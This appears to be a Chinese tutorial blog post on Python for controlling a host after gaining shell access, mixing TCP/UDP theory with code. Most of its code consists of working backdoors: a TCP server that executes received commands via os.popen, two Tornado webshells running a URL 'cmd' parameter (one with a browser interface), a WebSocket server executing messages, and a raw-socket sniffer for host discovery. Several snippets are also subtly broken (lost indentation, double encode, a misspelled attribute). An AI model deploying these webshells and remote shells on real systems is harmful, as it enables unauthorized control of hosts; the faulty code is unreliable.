python实战(针对拿到shell权限后对主机进行的操作）基础

准备工作：

　　环境：

　　　　(1)OS系统:windows/linux

　　　　(2)浏览器：只要内核符合webkit/不建议使用ie内核的浏览器

　　　　　　推荐：chrome/sogouie/360

　　　　(3)python：3.7.x

　　　　　　不建议使用3.7以上，一般采用3.5、3.6、3、7版本的python

　　　　(4)IDE：IDLE/VScode/记事本/文本编辑器/sublime

　　　　(5)pip tools

　　　　(6)net：网络通畅

　　python基础

　　　基本语法

　　　　数据和集合

　　　　函数和变量

　　　　.......　　

TCP和UDP的区别

　　TCP/IP网络模型

　　　计算机与网络设备相互通信，双方就必须基于相同的方法简历的一套通信网络模型，需要事先约定好的通信规则称之为协议（protocol）

　　　TCP/IP是一系列协议族群的统称：tcp/udp/ip/ftp/http/smtp等

　　　这些协议可以划分为四层：

　　　　链路层：负责封装和解封IP报文，发送和接受ARP/RARP报文等

　　　　网络层：负责路由以及分组报文发送给目标网络和主机

　　　　传输层：负责对报文进行分组和重组，并以TCP或者UDP封装报文

　　　　应用层：负责向用户提供应用程序，http,ftp,telnet,dns,smtp等

　　　　UDP

　　　　　全称是用户数据报协议，和TCP一样，用于处理数据包，他是一种无连接协议，不提供数据包分组，组装和不能对数据包进行排序等特点，也就是说无法得知是否安全完整的到达。

　　　　　特点：

　　　　　　面向无连接状态的

　　　　　　　在发送端，应用层将数据传给传输层的UDP协议，UDP只会给数据增加头标识，识别一下是否UDP过来的数据包，然后传输给传输层

　　　　　　　在接收端，网络层将数据传输给传输层，UDP只去除IP报文头，就传输给应用层，不会做任何的拼接操作

　　　　　　有单播，多播，广播功能

　　　　　　 UDP不仅仅只支持一对一的传输，还可以支持一对多，多对多，多对一的传输方式

　　　　　　UDP面向报文

　　　　　　　发送方对UDP对应用程序交付下来的报文，不会做合并和拆分，只会添加首部和尾部后交付IP层

　　　　　　不可靠性

　　　　　　　无连接，通信不需要建立连接；接受什么数据就传输什么数据；不会备份数据；发送数据不会确定接收方是否已经接收到数据；无拥塞控制，以恒定的速度进行收发，网络出现波动会导致丢包

　　　　　　适用于实时性比较高的场景

　　　　　　　比如电话传输，qq等

　　　　TCP

　　　　　三次握手的过程

　　　　　　第一次握手是主要是向服务器发送请求的报文段；第二次握手主要是服务器接收到请求的报文段，如果同意连接，就会发送一个应答；第三次握手是客户端接收到服务器的应答后，向服务器发送一个确认报文

　　　　　四次挥手的过程

　　　　　　TCP是一种双全工的机制，在断开连接到时候，两端都需要发送一个ACK和FIN来给它一个状态，在三次握手后，还有个四次挥手，在客户端发送断开连接请求给服务端；服务器返回收到；在所有数据传输完成后，服务器再发送一次收到，并关闭连接；客户端再发送一个ack表示已收到。

　　　　　特点

　　　　　　面向连接：

　　　　　　　当发送数据的时候必须在两端建立连接，建立连接是通过三次握手进行建立，这样建立的是一种可靠的连接，为后续数据传输打基础

　　　　　　仅支持单播传输：

　　　　　　　只能在建立了连接的两端进行传输，不支持广播和多播

　　　　　　面向字节流：

　　　　　　　将数据转化为字节流，不是向UDP那种一个报文一个报文的传输，而是以不保留边界的情况下，以字节流的传输

　　　　　　可靠性：

　　　　　　　为保证报文的传输可靠，给每个包一个序号，同时序号也是保证了传输到接收端的实体是按照顺序进行接收的，在接收端的实体，对已成功的字节发回一个相应的确认ACK，如果发送端的实　　　　　　体未接收到确认，会重新传输。

　　　　　　提供了拥堵控制：

　　　　　　　当网络出现了拥塞，tcp能减少相应网络传输数据的速率和数量来缓解拥堵

　　　　　　TCP提供了双全工通信：

　　　　　　TCP允许通信双方的应用程序在任何时候都可以发送数据，TCP有缓存，是临时存放双向通信的数据，可以立即发送一个数据段，也可以缓存一段时间再发送数据端，主要取决于最大报文段长度（MSS）

　　　　TCP和UDP的对比

	UDP	TCP
是否连接	无连接	面向连接
是否可靠	不可靠	可靠
连接对象个数	多对多，单对单，单对多，多对单	单对单
传输方式	面向报文	面向字节流
首部开销	开销小，8/字节	最小20个，最大60个字节
使用场景	实时应用	要求可靠传输的，如文件下载

TCP服务器的实现

　　　　注意：该服务器能获得本主机的主机名和打开12345端口，可以实现TCP连接

# python需要顶个书写，一个table表示四个空格
# TCP服务器实现

# python有一个内置的库，socket
import socket

# 调用socket方法创建socket对象
tcpserverSocket = socket.socket()

# 建立通信条件
# 1.设置本地host（主机名或者IP）
# 获得主机名
host = socket.gethostname()  # 取出当前主机的主机名
print(host)
# 2.设置通信端口
post = 12345

# 3.将地址和套接字进行绑定
tcpserverSocket.bind((host, post))

# 监听，用于代办事件中排队等候的connect的最大数
tcpserverSocket.listen(5)  # 最大监听数为5

# 启动connect
while True:
    # 建立客户端连接，返回两个参数
    # c：可以发送和接收数据的新套接字对象
    # addr：与connection另一端绑定的地址
    c, addr = tcpserverSocket.accept()
    print("连接的地址是：", addr)
    str = '来自服务器端发送的消息！'
    # 将str的字符串转码为字节
    c.send(str.encode())
    # 接收客户端发送的数据
    res = c.recv(4096).decode()  # 设置接收数据的最大字节，并解码
    print(res)
    # 关闭连接(停止循环)
    c.close()

TCP客户端的实现

# tcp客户端
import socket #tcp服务器是采取socket连接的，客户端也需要使用socket进行连接

#创建socket对象
tcpclientSocket = socket.socket()

#设置连接的主机
host = socket.gethostname()    #或者host ='ip地址'

#设置通信端口
post = 12345

#连接到tcp的server
tcpclientSocket.connect((host,post))

#接收服务器返回回来的数据，使用decode()进行解码，recv设置最大的接收数
res = tcpclientSocket.recv(4096).decode()
print(res)

#向服务器发送数据
tcpclientSocket.send("向服务器发送数据,cmd命令/shell命令等".encode())  #这需要在服务器端设置接收

#关闭连接
tcpclientSocket.close()

python实现UDP服务器

#UDP服务器
import socket

#两个参数，第一个AF_INET指采用ipv4协议进行通信
#第二个参数SOCK_DGRAM指采用UDP进行通信
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("127.0.0.1",6000))#服务器主机的地址和打开的端口
print("UDP启动并接入6000端口......")

while True:
    #客户端发送上来的数据，客户端的ip和端口
    data,addr = s.recvfrom(1024)  #设置最大传输字节
    print("接收于%s:%s" % addr)
　　 #增加shell代码或者其他执行的代码

    if data==b"exit":              #b的方式验证data数据（bind方式传输的验证方式）
        #向客户端返回数据结果
        s.sendto(b"Good Bye!",addr)
        continue
    #向客户端返回问候消息
    s.sendto(b"hello %s" % data,addr)

python实现UDP客户端

# UDP客户端
import socket

#创建一个UDP的socket的对象
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#初始化udp服务器地址
addr = ("127.0.0.1",6000)#连接服务器

#设置循环输入（用于查看输出结果）
while True:
    data = input("please input your name:")
    if not data:
        continue
    c.sendto(data.encode(),addr)
    #接收服务器返回的信息
    res,addr = c.recvfrom(1024)
    print(res.decode())
    if data=="exit":
        print("session is over from the server %s:%s" % addr)
        break
#关闭客户端
c.close()

python执行shell/cmd命令

模块：os

os.system('命令字符')：返回结果和执行的状态码：0[成功]/1[失败]

os.popen('命令字符')：返回的是执行结果，没有执行状态，这样可以将获取的结果返回到一个list对象中

可用来做shell执行的一种方法，在搭建了tcp或者udp后，可以执行os.popen()来执行操作系统的一些命令

模块：commands,3.x版本废弃，被subprocess模块替代

getoutput("命令字符")

getstatusoutput('命令字符')

shell执行:

os.system('./hello.sh')

shell中的参数的使用

shell,文件名：run.sh , 内容：echo "hello world ${1}${2}" //第一个变量为${1}第二个为${2}

sh run.sh hello python //第一个变量为hello，第二个变量为python

python:

arg0 = input("请输入第一个参数") #'hello'

arg1 = input('请输入第二个参数') # 'python'

os.system('./run.sh '+arg0+' ' +arg1)

实现一个TCP的原创执行CMD/Shell命令的工具

创建tcp服务器

#创建一个tcp控制服务器，能够实现接收来自于客户端的指令，并执行后，将结果原样返回给客户端
from socket import * #将所有的socket模块都导入
import os #导入os模块

#创建一个socket对象
tcpserversocket = socket(AF_INET,SOCK_STREAM)

#绑定本地信息
addr = (' ',12345)#前一个是IP地址，后一个是端口
tcpserversocket.bind(addr) #将IP地址和端口绑定为一个套接字

tcpserversocket.listen(5) #表示能同时运行的进程为5个，listen函数使用主动连接套接口变为被连接套接口，使得一个进程可以接受其它进程的请求，从而成为一个服务器进程

while True:
#如果有新的客户端连接上来，那么久产生一个新的套接字对象用于专为这个客户端服务
newsocket,clientSocket = tcpserversocket.accept() #与listen监听对应，在监听到新的客户端连接后，进行接收

while True:
#接收对客户端发送过来的数据，最大接收的字节为4096
cmd = newsocket.recv(4096)
#判断cmd里面是否有东西
if len(cmd)>0:
print("clint:"+cmd.decode('utf-8')) #将cmd里面的内容强制转换为utf-8打印
#将cmd里面的数据放到os模块中去执行
res = os.popen(cmd.decode('utf-8'),'r').read()
#将执行的结果发送给客户端
newsocket.send(res.encode().encode('utf-8'))
#一定要关闭命令
res.close()
else:
break
newsocket.close()　　

创建tcp客户端

#简易版的SSH客户端实现
from socket import *
import os

#创建socket
tcpClientSocket = socket(AF_INET,SOCK_STREAM)

#连接服务器-可改良为参数化的方式
serAddress = ('127.0.0.1',12345)
tcpClientSocket.connect(serAddress) #连接服务器
while True:
#提示用户输入命令
sendCmd = input("请输入命令：")
if len(sendCmd)>0:
#判断是否有内容
tcpClientSocket.send(sendCmd.encode('utf-8'))
else:
#判断是否有内容
break

#接收来自于服务器的执行结果
recv = tcpClientSocket.recv(4096)
print(recv.decode('utf-8'))

#关闭socket
socket.close()

实现一个UDP主机发现工具：Windows/Linux的包嗅探

大部分操作系统在处理UDP闭合端口时，存在一种共性行为，我们可以通过这种行为来确定某个IP地址上是否存在主机存活

icmp，指定目标端口不可达，通过该信息就可以知道目标是否存活

为什么是使用UDP，是因为UDP可以对整个子网进行信息发送，然后等待相应的ICMP响应返回，而且这个过程没有什么开销

目标是一款简单的对在Windows/Linux上运行的网络主机发现工具

还可以调用Nmap对发现的任何主机进行完整的端口扫描，用于判断对他们进行网络攻击的可能性

注：在Windows中必须采取管理员模式才能访问

#网络发现工具-嗅探器
import socket
import os

#监听的主机IP，监听那个网络端口
host = '192.168.80.128'

#创建原始的套字节，绑定到公开的接口上
#兼容Windows和Linux(windows平台能支持所有的访问，Linux平台只支持ICMP，所以才需要使用if和else）
if os.name =='nt':
socket_protocol = socket.IPPROTO_IP#允许嗅探IP的所有数据包
else:
socket.protocol = socket.IPPROTO_ICMP#只允许ICMP的数据包
#创建socket
sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol) #SOCK_RAW和send一样，意思是有套接字

#绑定端口为0，表示监听所有端口
sniffer.bind((host,0)) #0表示所有端口

#设置捕获数据包中包含的IP头
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

#设置启动混合模式
if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON) #如果是Linux模式需要使用的混合模式

#读取到的单个数据包
while True: #可以设置不断读取发送的数据包
print(sniffer.recvfrom(65565))

#需要在Windows平台上半闭混合模式
if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)#使用Windows模式，需要关闭混合模式

python实现HTTP服务器并控制服务器

实现一个简单的HTTP服务器-tornado框架

请求响应机制（request/response），http的生命周期，运行机制

通过URL地址，在后面跟上需要的参数，参数可能是具有实际操作意义的执行或者字符，如dir/ls等

tornado（龙卷风）：非阻塞式的，访问速度快，每秒钟处理数以千级计算，适用于实时控制，兼容服务器也能成为一个应用，采用python构建完成

4.tornado结构：

web框架：主要包含了一个request Handler用于创建web应用支持的子类

http服务器和客户端：HTTPServer，asyncHTTPClient

异步网络库：IOLoop和OStream作用HTTP组件的构建块

协程库

tornado安装：pip install tornado

实现一个加单的HTTP服务

#速成版的HTTP服务器
import tornado.web
import tornado.ioloop

#服务器由两个部分组成，一个是服务器（类似于apache/nginx），一个是应用（webapp）
#应用requesthandler
#定义一个视图类
class mainHandler(tornado.web.RequestHandler):
# tjg重写requesthandler中的方法
# 一般情况下，http有两种请求方法
# get:url请求，方便但不安全
# post:隐形请求，不方便但相对安全
def get(self):
# 当用户是通过url方式请求过来的，就通过这个方法
self.write("get")

def post(self):
# 当用户是通过post方式请求过来的，就通过post方法
self.write("post")

class chatHandler(tornado.web.RequestHandler):
#tjg重写requesthandler中的方法
#一般情况下，http有两种请求方法
#get:url请求，方便但不安全
#post:隐形请求，不方便但相对安全
def get(self):
#当用户是通过url方式请求过来的，就通过这个方法
self.write("get chat")

def post(self):
#当用户是通过post方式请求过来的，就通过post方法
self.write("post chat")

#定义一个应用
def makeapp():
#关联访问规则，主要通过url地址来判断进入到哪一个视图类
return tornado.web.Application([
(r"/", mainHandler), (r"/chat", chatHandler)
])

#配置
if __name__ == "__main__":

#程序入口
app = makeapp()
app.listen(8888,address='127.0.0.1') #设置你需要访问的地址和端口
tornado.ioloop.IOLoop.current().start()

实现一个参数化启动多个HTTP服务器

定义端口：tornado，options

获取用户提交过来的内容

#实现参数化启动http的服务
from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer

#定义端口变量
define('port',default=8888,help='this is port')

#定义一个视图
class IndexHandler(RequestHandler):
#重写get方法
def get(self):
#这里可以接收来自与URL中的参数和值，在url中参数连接为&
self.write("12312")
cmd = self.get_query_argument('cmd','') #获得参数，第一个是参数名，第二个是默认值（默认为空）
run = self.get_query_argument('run','0')
print(cmd)
print(run)
self.write('cmd value=' +cmd) #通过+进行连接，连接符
#将值返回到页面
def makeapp():
return Application({
(r'/',IndexHandler)
})
#程序入口
if __name__ == '__main__':

#开始接收监听命令行的参数数据，参数数据需要经过define定义
parse_command_line()
#web应用
app = makeapp()
#将app部署到http服务器
server = HTTPServer(app)
#绑定配置-端口
server.bind(options.port) #设置的默认端口为8888，但是可以直接输入端口
#启动server
server.start()
#启动轮询监听
IOLoop.current().start()

实现一个可以通过URL执行CMD/Shell的HTTP服务器

实现简单的URL的webshell

# 简单版的webshell
from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import os
#定义端口变量
define('port',default=8888,help='this is port')

#定义一个视图
class IndexHandler(RequestHandler):
#重写get方法
def get(self):
#这里可以接收来自于URL中的参数和值，方法有两个参数，一个是url中的参数名，第二个参数为默认值
cmd = self.get_query_argument('cmd','')
print("接收到的命令内容是："+cmd)
#在此处执行命令
rs = os.popen(cmd,'r') #执行权限为r
#将返回值返回到页面
self.write('<font color=red>【'+cmd+'】执行结果为：</font></br>')
self.write(rs.read())
def makeapp():
return Application([
(r'/',IndexHandler)
])

if __name__ =='__main__':
app = makeapp()
server = HTTPServer(app)
server.bind(options.port)
server.start()
IOLoop.current().start()

实现可视化界面的webshell

# webshell的pythonhttpserver
from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import os
#定义端口变量
define('port',default=8888,help='this is port')

#定义视图类——用于呈现界面
class IndexHandler(RequestHandler):
def get(self):
#当用户访问默认页面，直接返回webshell界面
#write里面的内容是压缩后的前端页面，采用html在线压缩方式压缩
self.write('<!DOCTYPE html><html><head><meta charset="utf-8"><title>webshell</title><style>*{padding:0;margin:0}html,body{height:100%;width:100%}.warp_panel{height:100%;width:100%;background-color:#000000}.showresult{height:95%;width:100%}.inputpanel{height:5%;width:100%;background-color:#FFFFFF;display:flex}.showresult>textarea{height:100%;width:100%;overflow:auto;border:none;background-color:initial;color:#FFFFFF}.inputpanel>input:nth-of-type(1){height:100%;width:90%;border:none}.inputpanel>input:nth-of-type(2){height:100%;width:10%;border:none}</style><script>function b(){var cmdvalue=document.getElementById("inputcmd");if(cmdvalue.value==""){alert("命令不能为空")}else{var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/cmd?cmd="+cmdvalue.value,true);xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4){if(xmlhttp.status===200){var si=document.getElementById("showinfo");si.innerHTML=xmlhttp.responseText}else if(xmlhttp.status===404){}else{}}};xmlhttp.send(null);cmdvalue.value=""}}</script></head><body><div class="warp_panel"><div class="showresult"><textarea id="showinfo"></textarea></div><div class="inputpanel"><input type="text"id="inputcmd"placeholder="请输入命令："/><input type="button"value="提交"onclick="b()"/></div></div></body></html>')

#定义视图类——用于接收并返回数据
class CmdHandler(RequestHandler):
def get(self):
#接收url中的数据，并返回cmd执行的结果
cmd = self.get_query_argument("cmd","")
#执行cmd
rs = os.popen(cmd,'r')
#返回数据
self.write(rs.read())
rs.close()
def makeapp():
return Application([
(r'/',IndexHandler),(r'/cmd',CmdHandler)
])

if __name__ == '__main__':
#开始接收并监听命令行的参数数据
parse_command_line()

#webapp
app = makeapp()
#将app部署到服务器中
server = HTTPServer(app)
#绑定端口
server.bind(options.port)
server.start()
#启动轮询监听
IOLoop.current().start()

前端代码（未压缩的）

注：所有的前端代码在压缩的时候都需要采用双引号，而不能使用单引号，因为后面压缩后的代码回合python语句起冲突。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>webshell</title>
<style>
*{
padding:0;
margin:0;
}
html,body{
height:100%;

width:100%;
}
.warp_panel{
height:100%;
width:100%;
background-color:#000000;
}
.showresult{
height:95%;
width:100%;
}
.inputpanel{
height:5%;
width:100%;
background-color: #FFFFFF;
display: flex;
}
.showresult>textarea{
height: 100%;
width: 100%;
overflow: auto;
border: none;
background-color: initial;
color: #FFFFFF;
}
.inputpanel>input:nth-of-type(1){
height: 100%;
width: 90%;
border: none;
}
.inputpanel>input:nth-of-type(2){
height: 100%;
width: 10%;
border: none;
}
</style>
<script>
//按钮的控制方法
function b(){
//获取输入框的内容
var cmdvalue = document.getElementById("inputcmd");
//console.log(cmdvalue.value);
if(cmdvalue.value==""){
alert("命令不能为空");
}else{
//内容不为空
//提交逻辑
//通过url向服务器请求——异步请求技术（在页面不刷新的情况，提交数据到后台）
//原生的异步对象——xmlhttprequest

var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","/cmd?cmd="+cmdvalue.value,true);
xmlhttp.onreadystatechange = function(){
//当请求执行后，会触发该方法
if(xmlhttp.readyState===4){
if(xmlhttp.status===200){
//console.log(xmlhttp);
//请求成功
var si = document.getElementById("showinfo");
si.innerHTML = xmlhttp.responseText;
}else if(xmlhttp.status===404){
//找不到
}else{
//执行失败
}
}
};

xmlhttp.send(null);
//提交完后，需要清空输入框
cmdvalue.value = "";
}
}
</script>

</head>
<body>
<div class="warp_panel">
<div class="showresult">
<textarea id="showinfo"></textarea>
</div>
<div class="inputpanel">
<input type="text" id="inputcmd" placeholder="请输入命令：" />
<input type="button" value="提交" onclick="b()"/>
</div>
</div>
</body>
</html>

websocket介绍及结构预览

websocket：是在HTML5定义下的一种基于TCP的全双工通讯协议（需要浏览器支持H5）

早期是一种长轮询，短轮询：是服务器向客户端主动发送信息，时间长短不同分类

长轮询用到ajax异步请求方式，一次请求为一次轮询

ws：普通的websocket

wss：加密的

websocket节约服务器带宽，实现即时通信

python的即时通信（realtime）服务器的实现

tornado框架：龙卷风主要就是为了实现实时通信创建的

websockethandler

server和client都需要实现四个对应的方法

server：父类：tornado提供的websocketHandler

open:当有用户连接上服务器时，主动出发该方法

on_message:当用户向服务器发送消息时候，主动触发该方法

on_error:当通信有错时，触发该方法

on_close:当用户下线时，触发该方法

client：JS中的websocket对象，重写这四个方法

onopen:当用户连接成功，服务器返回一个状态，触发该方法，可以证明是否连接到服务器

onmessage：当服务端向客户端发送消息时，触发该方法

onerror：在通信过程中出错时，触发该方法

onclose：用户下线或断开连接时，触发该方法

python实现即时通信服务器并控制服务器

#websocket的server
import tornado.web
import tornado.ioloop
import tornado.httpserver
import os
import datetime

from tornado.web import Application,RequestHandler
from tornado.ioloop import IOLoop
from tornado.options import define,options,parse_command_line
from tornado.httpserver import HTTPServer
#引入websocket核心类
from tornado.websocket import WebSocketHandler

#定义端口
define('port',default=8888,type=int)

class IndexHandler(RequestHandler):
    def get(self):
        print('get方法')
#定义用户通信类
class ChatHandler(WebSocketHandler):
    client = set()#存放连接上来的客户端，set集合存放
    def open(self):
        print('open方法')
        self.client.add(self)#将连接上来的客户端对象加到set中,第一个self是全局的，第二个是传的参数
        #广播通知其他客户端，连接成功


    def on_message(self,message):
        print('message方法'+message)
        #此处可以调用其他业务-内网扫描
        res = os.popen(message)
        for c in self.client:
            print(res.read())
            c.write_message(u"%s %s" % ("服务器：",res.read()))

    def on_error(self):
        print('error方法')

    def on_close(self):
        print('close方法')
        self.client.remove(self)#将下线的客户端移出去
        self.close()
        #广播通知其他的客户端下线
    def check_origin(self,origin):
        #支持跨域,在服务器和客户端进行通信时不在一个域内会出现跨域
        #跨域产生的原因：协议头不同，host主机名不同，port端口不同，根不同
        #返回true或者false判断是否需要跨域，true表示需要
        print('跨域')
        return True

if __name__ == '__main__':
    parse_command_line()
    app = Application([
        (r'/',IndexHandler),(r'/Chat',ChatHandler)
    ])
    #启动app
    server = HTTPServer(app)
    server.bind(options.port)
    server.start()
    IOLoop.current().start()

python实现对数据库的基本操作

快速存储数据的方式和方法

文本存储：txt，ini，xml，json

数据文件：bat

数据库存储：关系型数据库：MySQL，SQL server

sqlite：后缀为xxx.db,免安装,易操作，一个sqlite3标准的数据库文件，符合SQL的语法操作规则

采用sqlite原因：

能快速实现一个进程内的数据库系统，能自给自足，无服务器，零配置，满足事务型数据库引擎，是一个完整的数据库系统

免安装，存放于硬盘中，轻量级，完全兼容ACID，允许从多个进程或线程安全访问

完全支持sql92标准的大多数语言功能

支持的平台包括：unix：Linux，macos，Android，iOS；Windows：win32 ，wince，winrt；

支持DDL,DQL,DML

数据库使用

sqlite-DDL

#sqlite3基础操作-创建表
import sqlite3

#创建或加载库文件，并建立连接对象
conn = sqlite3.connect('sqlitedb.db')#加载文件，当文件不存在的时候创建

#创建一个游标对象，用于移动列表或执行sql
cursor = conn.cursor()
#定义sql
sql='''create table userinfo(
        id  int,
        name text,
        pass text
)'''    #三引号表示文本操作
#执行sql
cursor.execute(sql)
#将游标关闭数据库操作，释放文件
cursor.close()

sqlite-DML

#sqlite基础操作-插入数据-DML
#通过获取用户的输入数据，并保存到数据库文件中

import sqlite3
conn = sqlite3.connect('sqlitedb.db')

cursor = conn.cursor()

print("欢迎访问用户信息管理平台，请输入用户数据")
tid = input("请输入用户编号：")
tname = input("请输入用户姓名：")
tpass = input("请输入用户密码：")

print(tid+"|  "+tname+"|  "+tpass)

#定义sql
sql='''
    insert into userinfo values(:sid,:sname,:spass)
'''
#把上面获得的数据赋值给sql中的变量
cursor.execute(sql,{'sid':tid,'sname':tname,'spass':tpass})

#提交事务
conn.commit()

#关闭
cursor.close()

sqlite-DQL

#sqlite基本操作-DQL
#如果用户输入指定数据，则按照数据进行条件查询（姓名），如果输入知道的关键字，则按照关键字进行执行：ALL

import sqlite3

conn = sqlite3.connect('sqlitedb.db')

cursor = conn.cursor()

print("欢迎访问用户信息管理平台，请输入需要查询的数据：")
while True:
    tname = input("请输入需要查询的信息（用户名/ALL）：")
    if tname == "ALL":
        #查询所有的数据
        sql1 = '''
            select * from userinfo
        '''
        res1 = cursor.execute(sql1)
        print(res1)
        all_res1 = res1.fetchall()
        for u in all_res1:
            print(u)
    else:
        #按照条件查询
        sql2 = '''
            select * from userinfo where name = :tname  
        '''
        #:tname类似于java中的？
        res2 = cursor.execute(sql2,{'tname':tname})
        all_res2 = res2.fetchall()
        for u in all_res2:
            print(u)

posted @ 2021-08-31 20:25 Ayheng 阅读(200) 评论(0) 编辑收藏举报

刷新页面返回顶部

恒99

python实战(针对拿到shell权限后对主机进行的操作）基础

准备工作：

环境：

python基础

TCP和UDP的区别

TCP/IP网络模型

UDP

特点：

面向无连接状态的

有单播，多播，广播功能

UDP面向报文

不可靠性

适用于实时性比较高的场景

TCP

三次握手的过程

四次挥手的过程

特点

面向连接：

仅支持单播传输：

面向字节流：

可靠性：

提供了拥堵控制：

TCP提供了双全工通信：

TCP和UDP的对比

TCP服务器的实现

TCP客户端的实现

python实现UDP服务器

python实现UDP客户端

python执行shell/cmd命令

模块：os

模块：commands,3.x版本废弃，被subprocess模块替代

实现一个TCP的原创执行CMD/Shell命令的工具

创建tcp服务器

创建tcp客户端

实现一个UDP主机发现工具：Windows/Linux的包嗅探

python实现HTTP服务器并控制服务器

实现一个简单的HTTP服务器-tornado框架

请求响应机制（request/response），http的生命周期，运行机制

通过URL地址，在后面跟上需要的参数，参数可能是具有实际操作意义的执行或者字符，如dir/ls等

tornado（龙卷风）：非阻塞式的，访问速度快，每秒钟处理数以千级计算，适用于实时控制，兼容服务器也能成为一个应用，采用python构建完成

4.tornado结构：

web框架：主要包含了一个request Handler用于创建web应用支持的子类

http服务器和客户端：HTTPServer，asyncHTTPClient

异步网络库：IOLoop和OStream作用HTTP组件的构建块

协程库

tornado安装：pip install tornado

实现一个加单的HTTP服务

实现一个参数化启动多个HTTP服务器

实现一个可以通过URL执行CMD/Shell的HTTP服务器

实现简单的URL的webshell

实现可视化界面的webshell

前端代码（未压缩的）

websocket介绍及结构预览

websocket：是在HTML5定义下的一种基于TCP的全双工通讯协议（需要浏览器支持H5）

python的即时通信（realtime）服务器的实现

server和client都需要实现四个对应的方法

server：父类：tornado提供的websocketHandler

client：JS中的websocket对象，重写这四个方法

python实现即时通信服务器并控制服务器

python实现对数据库的基本操作

快速存储数据的方式和方法

采用sqlite原因：

数据库使用

sqlite-DDL

sqlite-DML

sqlite-DQL

公告

　　环境：

　　python基础

　　TCP/IP网络模型

　　　　UDP

　　　　　特点：

　　　　　　面向无连接状态的

　　　　　　有单播，多播，广播功能

　　　　　　UDP面向报文

　　　　　　不可靠性

　　　　　　适用于实时性比较高的场景

　　　　TCP

　　　　　三次握手的过程

　　　　　四次挥手的过程

　　　　　特点

　　　　　　面向连接：

　　　　　　仅支持单播传输：

　　　　　　面向字节流：

　　　　　　可靠性：

　　　　　　提供了拥堵控制：

　　　　　　TCP提供了双全工通信：

　　　　TCP和UDP的对比